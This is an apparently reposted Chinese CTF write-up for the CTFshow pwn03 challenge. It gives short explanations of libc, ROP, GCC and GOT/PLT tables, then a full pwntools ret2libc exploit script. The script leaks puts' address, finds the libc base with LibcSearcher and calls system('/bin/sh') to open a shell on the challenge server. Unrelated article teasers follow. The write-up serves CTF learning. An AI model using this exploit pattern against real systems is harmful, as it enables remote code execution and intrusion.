CTFshow pwn03

news2024/10/7 4:27:21

题目:
在这里插入图片描述在做本道题前,我们先了解所必要的知识

Libc是什么?

英文名字:Standard C library,其翻译过来,C语言标准库
它是符合ANSI C标准的一个函数库
学过C语言会明白

ANSI C标准又是什么?

1983年,美国国家标准协会(ANSI)组成了一个委员会,X3J11,为了创立 C 的一套标准
1989年完成,这个版本的语言经常被称作ANSI C,或有时称为C89(为了区别C99)
在1990年,ANSI C标准(带有一些小改动)被美国国家标准协会(ANSI)采纳为ISO/IEC 9899:1990
这个版本有时候称为C90或者ISO C

API是什么?

API 是允许两个软件组件使用一组定义和协议相互通信的机制,什么意思呢?
举个例子假如我坐滴滴
我需要用API去申请服务,告诉API将我从哪里,到哪里这些条件说清楚
滴滴再根据API反馈给我
同时
API 代表应用程序编程接口
在 API 环境中,应用程序一词指的是任何具有独特功能的软件。接口可以看作是两个应用程序之间的服务合约
该合约定义了两者如何使用请求和响应相互通信
它们的 API 文档包括与开发人员如何构建这些请求和响应有关的信息

ROP是什么?

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击
攻击者从已有的库或可执行文件中提取指令片段
构建恶意代码

GCC是什么?

GCC是以GPL许可证所发行的自由软件,也是GNU计划的关键部分
GCC的初衷是为GNU操作系统专门编写一款编译器
现已被大多数类Unix操作系统(如Linux、BSD、MacOS X等)采纳为标准的编译器
甚至在微软的Windows上也可以使用GCC
GCC支持多种计算机体系结构芯片,如x86、ARM、MIPS等
并已被移植到其他多种硬件平台
GCC原名为GNU C语言编译器(GNU C Compiler),只能处理C语言
但其很快扩展,变得可处理C++,后来又扩展为能够支持更多编程语言
如Fortran、Pascal、Objective -C、Java、Ada、Go以及各类处理器架构上的汇编语言等
所以改名GNU编译器套件(GNU Compiler Collection)

GOT表和PLT表

程序还未执行时,got表里还是plt表的地址
程序执行后,plt表里是got表的地址,got表是函数的真实地址

跟pwn02差不多,唯一多的就是了解libc函数
和上面的图中所给出靶场不同
我开了一个
看脚本吧

from pwn import*
from LibcSearcher import*
elf=ELF('./stack1')
#io=process('./stack1')
io=remote('pwn.challenge.ctf.show',28105)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

在这里插入图片描述值得注意的是你的文件放的位置很重要!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/529682.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Redo log

目录标题 前言为什么需要redo log redo log中的WAL(先写日志,再写磁盘)重要参数innodb_flush_log_at_trx_commit如何选择 redo log记录形式日志块(log block)redo log的格式 redo log何时刷入磁盘正常关闭服务器时事务提交时(inno…

【STL】string的使用

放在专栏【C知识总结】,会持续更新,期待支持🌹 STL简介 STL的诞生 STL为英文Standard Template Library的缩写,译为标准模板库。是C标准库的重要组成部分。 长久以来,软件届一直希望建立一种可重复运用的东西。所谓…

首个支持RWA交易的订单簿DEX-PoseiSwap,即将开启IEO

随着 DeFi 世界的发展,越来越多的链上协议支持以合成资产的方式,将传统金融资产以加密资产的形式映射至链上,包括美股、黄金期货等等,虽然这种方式进一步帮助投资者,以非许可的形式丰富了投资标的,但这种方…

GraphPad Prism 9.5.1 for Mac 操作简便功能强大且实用的医学绘图分析工具

GraphPad Prism简介 GraphPad Prism是一款非常实用的统计软件,其功能非常强大,能够帮助用户进行各类科研数据的处理和分析,快速绘制出各种专业的图像和数据报告。 GraphPad Prism软件的用户界面非常友好,易于学习和操作&#xf…

azkaban 安装 使用

目录 拷贝安装包 解压 改名 修改MySQL配置文件 创建数据库 导入数据表 修改配置文件 修改azkaban-exec下面文件 修改azkaban.properties文件 修改 commonprivate.properties 文件 修改MySQL的jar包 启动 azkaban-exec 修改azkaban-web下面文件 修改azkaban.prop…

Amazon EKS 上有状态服务启用存储加密

1.背景 用户通过 Deployment, Replication Controller 可以方便地在 Kubernetes 中部署一套高可用、可扩展的分布式无状态服务。这类应用不在本地存储数据,通过简单的负载均衡策略可实现请求分发。 Deployment 以及 Replication Controller 是为无状态服务而设计的…

关于Alibaba开发手册中提到的Manager层解析(对于传统MVC三层架构的改进)

Manager层的理解 MVC三层架构 MVC(Model View Controller)是软件工程中的一种软件架构模式,它把软件系统分为模型、视图和控制器三个基本部分。用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面…

scanf函数的用法

有时候刷题经常遇到如下这种输入&#xff1a; 1 2 3 4 ...... 就是不知道什么时候结束输入&#xff0c;反正就是一直在输入&#xff0c;这个时候怎么写呢&#xff1f;我们知道 scanf()的返回值是成功赋值的变量数量, 发生错误时返回EOF. 看如下代码&#xff1a; #include<st…

mysqlbinlog 生产环境问题排查实践

binlog 简介 MySQL 的二进制日志是通过二进制文件形式记录的&#xff0c;可以通过以下方式设置其格式&#xff1a; 打开 MySQL 配置文件&#xff08;my.cnf&#xff09;&#xff0c;找到 [mysqld] 段&#xff0c;添加以下语句以开启二进制日志功能&#xff1a; log-bin /pat…

Git 工作原理和分支管理

Git是一个开源的分布式版本控制系统&#xff0c;可以有效、高速地处理从很小到非常大的项目版本管理 Git工作原理 Git 会把仓库中的每次提交串成一条时间线&#xff0c;这条时间线就是一个分支。在 Git 里&#xff0c;每个仓库都会有一个主分支&#xff0c;即master分支。HEAD…

2023面试自动化测试面试题【含答案】,建议收藏

1、你做了几年的测试、自动化测试&#xff0c;说一下 selenium 的原理是什么&#xff1f; 我做了五年的测试&#xff0c;1年的自动化测试&#xff1b; selenium 它是用 http 协议来连接 webdriver &#xff0c;客户端可以使用 Java 或者 Python 各种编程语言来实现&#xff1b…

路径规划算法:基于蜻蜓算法的路径规划算法- 附代码

路径规划算法&#xff1a;基于蜻蜓优化的路径规划算法- 附代码 文章目录 路径规划算法&#xff1a;基于蜻蜓优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要&#xff1a;本文主要介绍利用智能优化算法蜻蜓…

MyBatis项目的创建和使用

什么是MyBatis? MyBaits是一个更简单的完成程序与数据库交互的工具。MyBatis将复杂的JDBC进行了封装&#xff0c;让使用者可以通过简单的xml和注解对数据库进行记录。 MyBatis的执行流程 创建MyBatis项目 添加依赖 还是SpringBoot的创建流程&#xff1a;SpringBoot项目创建…

SpringMvc笔记-教程-快速回忆

title: SpringMvc笔记 date: 2023-05-14 09:50:02 categories: 后端Java tags:JavaSpring 三层架构&#xff1a; web层主要由servlet来处理&#xff0c;负责页面请求和数据的收集以及响应结果给前端service层主要负责业务逻辑的处理dao层主要负责数据的增删改查操作 MVC设计…

点餐小程序实战教程03-店铺信息展示

目录 1 创建模型应用2 创建用户3 创建自定义应用4 创建页面5 页面搭建6 定义变量7 数据绑定8 绑定事件9 预览发布总结我们上一篇设计了店铺信息数据源,并且录入了测试数据,本篇我们就介绍一下店铺信息展示功能的开发。 1 创建模型应用 我们在上篇讲解的是通过数据源的管理数…

【redis】redis经典五大类型源码及其底层实现

【redis】redis经典五大类型源码及其底层实现 文章目录 【redis】redis经典五大类型源码及其底层实现前言一、面试题redis数据类型的底层数据结构阅读源码的意义 二、在哪找redis的源码&#xff1f;三、SRC下的源码该怎么看&#xff1f;1、redis基本的数据结构&#xff08;骨架…

路径规划算法:基于樽海鞘算法的路径规划算法- 附代码

路径规划算法&#xff1a;基于樽海鞘优化的路径规划算法- 附代码 文章目录 路径规划算法&#xff1a;基于樽海鞘优化的路径规划算法- 附代码1.算法原理1.1 环境设定1.2 约束条件1.3 适应度函数 2.算法结果3.MATLAB代码4.参考文献 摘要&#xff1a;本文主要介绍利用智能优化算法…

桂院校园导航小程序 静态项目 二次开发教程 1.0.1

Gitee代码仓库&#xff1a;桂院校园导航小程序 GitHub代码仓库&#xff1a;GLU-Guide 先 假装 大伙都成功安装了静态项目&#xff0c;并能在 微信开发者工具 和 手机 上正确运行。 接着就是 将项目 改成自己的学校。 代码里的注释我就不说明了&#xff0c;有提到 我的学校 …

现代软件测试中的自动化测试工具

自动化测试的重要性和优势 引言&#xff1a;随着软件开发的不断发展&#xff0c;自动化测试工具在现代软件测试中扮演着重要角色。提高效率&#xff1a;自动化测试可以加快测试流程&#xff0c;减少人工测试所需的时间和资源。提升准确性&#xff1a;自动化测试工具可以减少人…

python3 爬虫相关学习3:requests.get(url)的各种属性

目录 1 requests.get(url) 的各种属性 1.1 response.text 1 requests.get(url) 的各种属性&#xff0c;也就是response的各种属性 接触的requests模块的常用功能&#xff1a;一般把 response requests.get(url) requests.get(url)的各种属性 print(response.text)print(…